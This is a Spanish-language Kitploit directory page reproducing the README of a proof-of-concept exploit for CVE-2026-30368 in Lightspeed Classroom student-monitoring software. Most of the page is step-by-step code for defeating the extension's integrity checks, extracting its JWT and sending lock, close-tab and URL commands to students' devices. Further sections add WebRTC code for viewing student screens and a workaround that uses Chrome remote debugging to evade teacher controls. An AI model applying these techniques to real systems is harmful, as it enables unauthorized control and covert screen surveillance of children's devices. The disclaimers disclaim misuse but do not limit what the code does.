Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ls-poc — Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably. | Kitploit
Herramientas/GitHubGitHub/truekas/ls-poc
ReconocimientoExplotaciónExplotación de Aplicaciones WebComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubtruekas/ls-poc

ls-poc

Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably.

Ver Repositorio
152hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-30368 Prueba de concepto

[!IMPORTANT]

Esto ya está parcheado y ahora requiere credenciales, usa el workaround para realizar acciones sobre ti mismo.

Introducción

CVE-2026-30368 permite a un atacante controlar los dispositivos de los estudiantes mediante una falla de autenticación débil en la gestión de aula de Lightspeed Classroom. El POC (poc.js) ejecuta el service worker de la extensión LS Classroom en contexto global. El worker también ejecuta classroom.wasm para algunas funciones. wasm-loader.js carga el worker y extrae el token JWT generado por classroom.wasm. Una vez extraído, mata el worker y luego envía el token a las APIs de Lightspeed para recibir un token usado para conectarse al canal Ably del objetivo. Desde allí, un atacante podría enviar un comando a un dispositivo de un estudiante. La lista de comandos y mucha más información está en el informe completo disponible aquí.

¡DEBES PROPORCIONAR TUS PROPIOS ARCHIVOS WORKER.JS, CLASSROOM.WASM Y MANIFEST.JSON!

Estos no pueden estar en este repositorio porque:

  • Este repositorio definitivamente recibirá un DMCA de Lightspeed si lo hago
  • Los archivos son diferentes para cada distrito/versión

Para evitar problemas, recomiendo usar la versión 5.1.2.1763770643. Si necesitas ayuda adaptando versiones más nuevas, estás por tu cuenta.
Puedes obtener los archivos worker.js y classroom.wasm del código fuente de la extensión de Lightspeed. Esto se puede obtener iniciando sesión con tu cuenta escolar en Chrome en un dispositivo personal y luego extrayendo el código fuente de la extensión de la carpeta de extensiones ubicada en tu directorio de perfil de Chrome. También puedes descargar manualmente el crx a través de la URL de actualización.

MÉTODO RECOMENDADO

El método más fácil de este exploit es primero obtener classroom.wasm del código fuente de tu extensión, luego pegarlo en el mismo directorio que wasm-only.js y ejecutar:

root@kitploit:~
$ node wasm-only.js

Ingresa un correo electrónico y un ID de cliente cuando se te solicite. Esto se conectará al canal de Ably. Ve a la línea 815 y descomenta lo que quieras enviar como mensajes. Crédito: ktibow en discord

Configuración del cargador wasm

Una vez que tengas los archivos, simplemente agrégalos al directorio del repositorio clonado. Tendrás que ir a wasm-loader.js a la función getManifest() y pegar tu manifest de la extensión allí. También tendrás que agregar el ID de la extensión en wasm-loader.js en la parte superior.

Haz una copia de worker.js con un nombre de archivo de tu preferencia. La necesitarás más adelante. Tendrás que ejecutar worker.js a través de webcrack para desofuscar y desminificar y así realizar las modificaciones necesarias. Al hacer esto, asegúrate de seleccionar solo las opciones "Deobfuscate" y "Unminify". Antes de pegar el resultado de vuelta en tu editor, se recomienda apagar todos los servidores LSP porque eliminarán variables aleatorias y harán que el worker se rompa en etapas posteriores (te estoy mirando a ti, vtsls...)

Parcheando el Worker

Dado que el service worker se ejecutará en node.js (asegúrate de tenerlo instalado), necesitará algunos parches para funcionar correctamente. También se debe agregar la lógica de extracción del JWT. Agrega las siguientes 2 funciones en la parte superior de worker.js:

root@kitploit:~
function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

Estas se usarán cuando modifiquemos el runtime de go de wasm para interceptar y modificar valores usados por el wasm de LS classroom. Asegúrate de reemplazar YOUR_EXTENSION_ID con el ID de tu extensión y worker_copy.js con el nombre de archivo de la copia del worker.js original que hiciste anteriormente. A continuación, agrega estas 2 funciones dentro de la función de flecha principal (después del (() => {)

root@kitploit:~
chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

A continuación, necesitas codificar IsClassroomActive como true para poder ejecutar esto fuera de las redes del campus. Simplemente cambia la función para que siempre devuelva true:

root@kitploit:~
_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Luego, busca syscall/js.valueCall para encontrar la función valueCall que necesita ser modificada. Esto es lo que informa al wasm de un valor JS. Los 2 valores que se interceptan y cambian al modificar esta función son la ruta de worker.js (se cambia a la copia de tu worker para que la verificación de hash pase) y el valor de chrome.identity.getProfileUserInfo.toString se cambia para que diga native code para que el WASM crea que se puede confiar en él cuando en realidad ha sido modificado en la parte superior del archivo. Para hacer esto, necesitas usar las funciones valueCallBefore y valueCallAfter que definimos en la parte superior. Modifica la función valueCall de la siguiente manera (los nombres de variables variarán, pero la estructura es la misma):

root@kitploit:~
"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Casi listo. Por último, necesitas agregar código para capturar el JWT. Busca echoMessages: false y encontrarás la variable que contiene la lista de encabezados enviados a Ably. Justo debajo de eso, agrega esta línea (los nombres de variables muy probablemente no serán precisos, puedes encontrar la misma línea que accede a ablyJwt en authHeaders):

root@kitploit:~
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

Esto asigna el JWT a una variable en el ámbito global para que wasm-loader.js (el "harness" que ejecuta el service worker) pueda acceder a él. Esto concluye la modificación del worker. Asegúrate de que todos tus LSP sigan apagados. Si se volvieron a encender, puedes experimentar problemas con variables indefinidas más adelante.

Preparación final

Ve al archivo poc.js. En la parte superior, agrega el correo electrónico y el ID de Cliente de una cuenta en la que desees probar (preferiblemente la tuya). Usar un ID de cliente que no sea el tuyo lanzará un error ya que necesitas tener los archivos worker.js y classroom.wasm correctos correspondientes a ese ID de cliente.

No apruebo el uso de esto en estudiantes reales sin su consentimiento!!! 🙂

La clave API de Ably en poc.js está redactada por razones legales, así que tendrás que encontrarla tú mismo. Búscala en worker.js, comienza con G52. Tu ID de cliente también se puede encontrar en el mismo lugar, busca CUSTOMER_ID: o busca una cadena con este formato: XX-XXXX-XXXX. Los últimos 3 dígitos suelen ser 000.

En cuanto al user agent, puedes configurarlo como quieras, pero AWS puede bloquear ciertos UA asociados con herramientas de automatización. Una vez que hayas hecho todo esto, ve al final y puedes agregar un mensaje para enviar al canal Ably del usuario usando publish. Los mensajes pueden incluir lock, closeTab, url y más. La lista completa de mensajes Ably usados por Lightspeed está aquí.

Ejecución

Ejecuta el archivo con node.js, deno u otro runtime. Bun no funciona.

root@kitploit:~
$ node poc.js

Siéntete libre de expandir el poc y convertirlo en una CLI o algo similar.

RTC

Si alguien se preguntaba cómo hacer funcionar la función WebRTC (ver pantallas) de Lightspeed Classroom, se puede hacer pero es complicado. Debes cumplir las siguientes condiciones para que funcione:

  • La hora actual debe coincidir con las ventanas en class_schedule especificadas en la política (lee más en el informe completo)
  • El cliente debe estar en las redes del campus si es requerido
  • Deberías estar en la misma red (opcional pero altamente recomendado)
  • Funciona mejor cuando un profesor está usando Lightspeed simultáneamente (esto abre la ventana para que el RTC funcione)

Asumiendo que ya estás conectado al canal Ably del cliente, lo siguiente se puede usar para iniciar una conexión WebRTC:

root@kitploit:~
channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

Depende de ti descubrir cómo ver el video (cualquiera con conocimientos básicos de HTML y un poco de búsqueda en Google/IA debería poder hacerlo), pero el código anterior establece la conexión. Desafortunadamente, el stream será de 1 FPS, pero eso es una limitación del propio LS classroom.

De nuevo, no puedo garantizar que esto funcione siempre porque es demasiado complicado, ¡pero avísame si logras que funcione de manera consistente!

Visor Web

Ejecuta pnpm i, coloca el classroom.wasm en la raíz del repositorio y luego ejecuta pnpm dev para iniciar el visor web.

Workaround

[!IMPORTANT]

ESTA SECCIÓN REQUIERE CREDENCIALES Y UN DISPOSITIVO PERSONAL

El 23 de abril, Lightspeed comenzó a implementar una corrección para este CVE. Agregó una nueva extensión, Lightspeed Identity Agent (nombre clave interno: LS One), que proporciona a Classroom un token OAuth de Google para verificar tu identidad. El workaround te permite realizar acciones sobre ti mismo, o sobre cualquier otra persona para quien tengas credenciales. Esto solo se ha probado en Linux.

Primero, instala Google Chrome estable e inicia sesión con una cuenta escolar. Asegúrate de que la extensión Lightspeed Identity Agent esté instalada. Cierra Chrome. A continuación, copia el directorio de datos de usuario de Chrome a una ubicación temporal. Por ejemplo, en Linux: cp -r ~/.config/google-chrome /tmp/chromedata. Coloca tu archivo classroom.wasm en el directorio del repositorio. Completa los valores en la parte superior de oauth-poc.js. Abre una terminal (la usarás más tarde, pero ábrela ahora). Reinicia Chrome con los siguientes flags de línea de comandos:

root@kitploit:~
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata

Esto habilitará la depuración remota. Espera 15 segundos para que el service worker se inicialice. Ejecuta oauth-poc.js:

root@kitploit:~
$ node oauth-poc.js

Si recibiste un mensaje diciendo que la extensión LS One no se pudo encontrar, o no esperaste 15 segundos después de lanzar Chrome, esperaste demasiado y el service worker se durmió, o no completaste el ID de la extensión en la parte superior de oauth-poc.js.

Si recibes un error 403 al conectarte a Ably, verifica que tengas el classroom.wasm correcto, el correo electrónico correcto e intenta moverte a una IP escolar.

Si no recibiste errores, ¡felicidades! Simplemente deja el script ejecutándose y serás inmune a ser bloqueado por los profesores, al cierre de pestañas y a la visualización de pantalla (experimental).

Notas Finales

Por favor, no uses este POC con fines destructivos. No soy responsable de ninguna acción maliciosa que puedas cometer. Como sabrás, Lightspeed ha estado ignorando esto durante 3 meses y realmente no espero una corrección por otra semana (¿o más?...). Esperemos que esto les haga entender la gravedad real de la situación y lo corrijan más rápido. Por último, si resulta que eres un técnico de TI escolar, envía esto a tus superiores 🙂

♥️, truekas 4.22.2026

Descargar herramienta